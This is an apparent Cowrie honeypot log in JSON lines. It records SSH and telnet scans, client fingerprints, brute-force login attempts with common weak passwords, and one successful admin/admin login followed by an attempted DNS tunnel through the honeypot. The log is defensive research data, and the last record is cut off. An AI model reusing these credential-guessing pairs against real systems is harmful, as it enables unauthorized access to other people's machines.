{"eventid":"cowrie.session.closed","duration":120.00119924545288,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:55:04.897764Z","src_ip":"38.156.203.73","session":"94471b0fe9c1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.216.119.134","src_port":46826,"dst_ip":"10.17.0.5","dst_port":22,"session":"114c7bcd319b","protocol":"ssh","message":"New connection: 185.216.119.134:46826 (10.17.0.5:22) [session: 114c7bcd319b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:55:05.189375Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:55:05.194581Z","src_ip":"185.216.119.134","session":"114c7bcd319b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:55:06.081205Z","src_ip":"185.216.119.134","session":"114c7bcd319b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00186395645142,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:55:07.262951Z","src_ip":"38.156.203.73","session":"5e7f7e3d4dcd","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa111111","message":"login attempt [root/Aa111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:55:07.276753Z","src_ip":"185.216.119.134","session":"114c7bcd319b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.3","message":"Connection lost after 3.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:55:08.492191Z","src_ip":"185.216.119.134","session":"114c7bcd319b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.795525550842285,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:55:09.664945Z","src_ip":"91.121.56.114","session":"4b0bb1abab15","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.526158571243286,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:55:16.587366Z","src_ip":"91.121.56.114","session":"5bec652872e6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00567483901978,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:55:20.698745Z","src_ip":"45.4.46.254","session":"152893393400","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.55.74.159","src_port":59412,"dst_ip":"159.203.135.109","dst_port":22,"session":"ec3950668d17","protocol":"ssh","message":"New connection: 45.55.74.159:59412 (159.203.135.109:22) [session: ec3950668d17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:55:22.205132Z"}
{"eventid":"cowrie.client.version","version":"GET / HTTP/1.1","message":"Remote SSH version: GET / HTTP/1.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:55:22.211720Z","src_ip":"45.55.74.159","session":"ec3950668d17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:55:22.217805Z","src_ip":"45.55.74.159","session":"ec3950668d17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.55.74.159","src_port":59418,"dst_ip":"159.203.135.109","dst_port":22,"session":"d409348588d3","protocol":"ssh","message":"New connection: 45.55.74.159:59418 (159.203.135.109:22) [session: d409348588d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:55:22.223423Z"}
{"eventid":"cowrie.client.version","version":"GET /favicon.ico HTTP/1.1","message":"Remote SSH version: GET /favicon.ico HTTP/1.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:55:22.229339Z","src_ip":"45.55.74.159","session":"d409348588d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:55:22.237290Z","src_ip":"45.55.74.159","session":"d409348588d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":60510,"dst_ip":"159.203.135.109","dst_port":22,"session":"87a509a6fee1","protocol":"ssh","message":"New connection: 159.203.92.129:60510 (159.203.135.109:22) [session: 87a509a6fee1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:55:33.298062Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:55:33.302850Z","src_ip":"159.203.92.129","session":"87a509a6fee1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:55:33.308408Z","src_ip":"159.203.92.129","session":"87a509a6fee1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Zhanghua","password":"111111","message":"login attempt [Zhanghua/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:55:33.323252Z","src_ip":"159.203.92.129","session":"87a509a6fee1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:55:34.332574Z","src_ip":"159.203.92.129","session":"87a509a6fee1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.81918168067932,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:55:35.578442Z","src_ip":"91.121.56.114","session":"88565fcadb6c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.216.119.134","src_port":36098,"dst_ip":"10.17.0.5","dst_port":22,"session":"b0d21b246c8a","protocol":"ssh","message":"New connection: 185.216.119.134:36098 (10.17.0.5:22) [session: b0d21b246c8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:56:09.661051Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:56:09.666413Z","src_ip":"185.216.119.134","session":"b0d21b246c8a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:56:10.410647Z","src_ip":"185.216.119.134","session":"b0d21b246c8a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwer123456","message":"login attempt [root/Qwer123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:56:11.802629Z","src_ip":"185.216.119.134","session":"b0d21b246c8a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.249.6.197","src_port":34682,"dst_ip":"159.203.135.109","dst_port":22,"session":"2414215bbdc3","protocol":"ssh","message":"New connection: 173.249.6.197:34682 (159.203.135.109:22) [session: 2414215bbdc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:56:12.565566Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:56:12.579079Z","src_ip":"173.249.6.197","session":"2414215bbdc3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:56:12.672984Z","src_ip":"173.249.6.197","session":"2414215bbdc3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:56:13.025343Z","src_ip":"185.216.119.134","session":"b0d21b246c8a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"Qwerty1","message":"login attempt [user/Qwerty1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:56:13.079250Z","src_ip":"173.249.6.197","session":"2414215bbdc3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:56:14.181688Z","src_ip":"173.249.6.197","session":"2414215bbdc3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":33560,"dst_ip":"159.203.135.109","dst_port":22,"session":"129c025acc08","protocol":"ssh","message":"New connection: 159.203.92.129:33560 (159.203.135.109:22) [session: 129c025acc08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:56:16.496526Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:56:16.501786Z","src_ip":"159.203.92.129","session":"129c025acc08","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:56:16.507567Z","src_ip":"159.203.92.129","session":"129c025acc08","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Zhanghua","password":"123456","message":"login attempt [Zhanghua/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:56:16.523494Z","src_ip":"159.203.92.129","session":"129c025acc08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:56:17.538177Z","src_ip":"159.203.92.129","session":"129c025acc08","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":26808,"dst_ip":"10.17.0.5","dst_port":22,"session":"766d978ec31e","protocol":"ssh","message":"New connection: 87.251.64.176:26808 (10.17.0.5:22) [session: 766d978ec31e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:56:18.527160Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:56:18.532659Z","src_ip":"87.251.64.176","session":"766d978ec31e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:56:18.630609Z","src_ip":"87.251.64.176","session":"766d978ec31e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:56:18.922697Z","src_ip":"87.251.64.176","session":"766d978ec31e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:56:19.024121Z","session":"766d978ec31e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:56:19.122129Z","src_ip":"87.251.64.176","session":"766d978ec31e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:56:19.221192Z","src_ip":"87.251.64.176","session":"766d978ec31e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.141.175.198","src_port":44450,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a33c8b99ef6","protocol":"telnet","message":"New connection: 95.141.175.198:44450 (159.203.135.109:23) [session: 2a33c8b99ef6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:56:27.393374Z"}
{"eventid":"cowrie.session.connect","src_ip":"196.189.51.7","src_port":44190,"dst_ip":"10.17.0.5","dst_port":22,"session":"ff96ee56d9cd","protocol":"ssh","message":"New connection: 196.189.51.7:44190 (10.17.0.5:22) [session: ff96ee56d9cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:56:57.706398Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T10:56:57.711209Z","src_ip":"196.189.51.7","session":"ff96ee56d9cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ss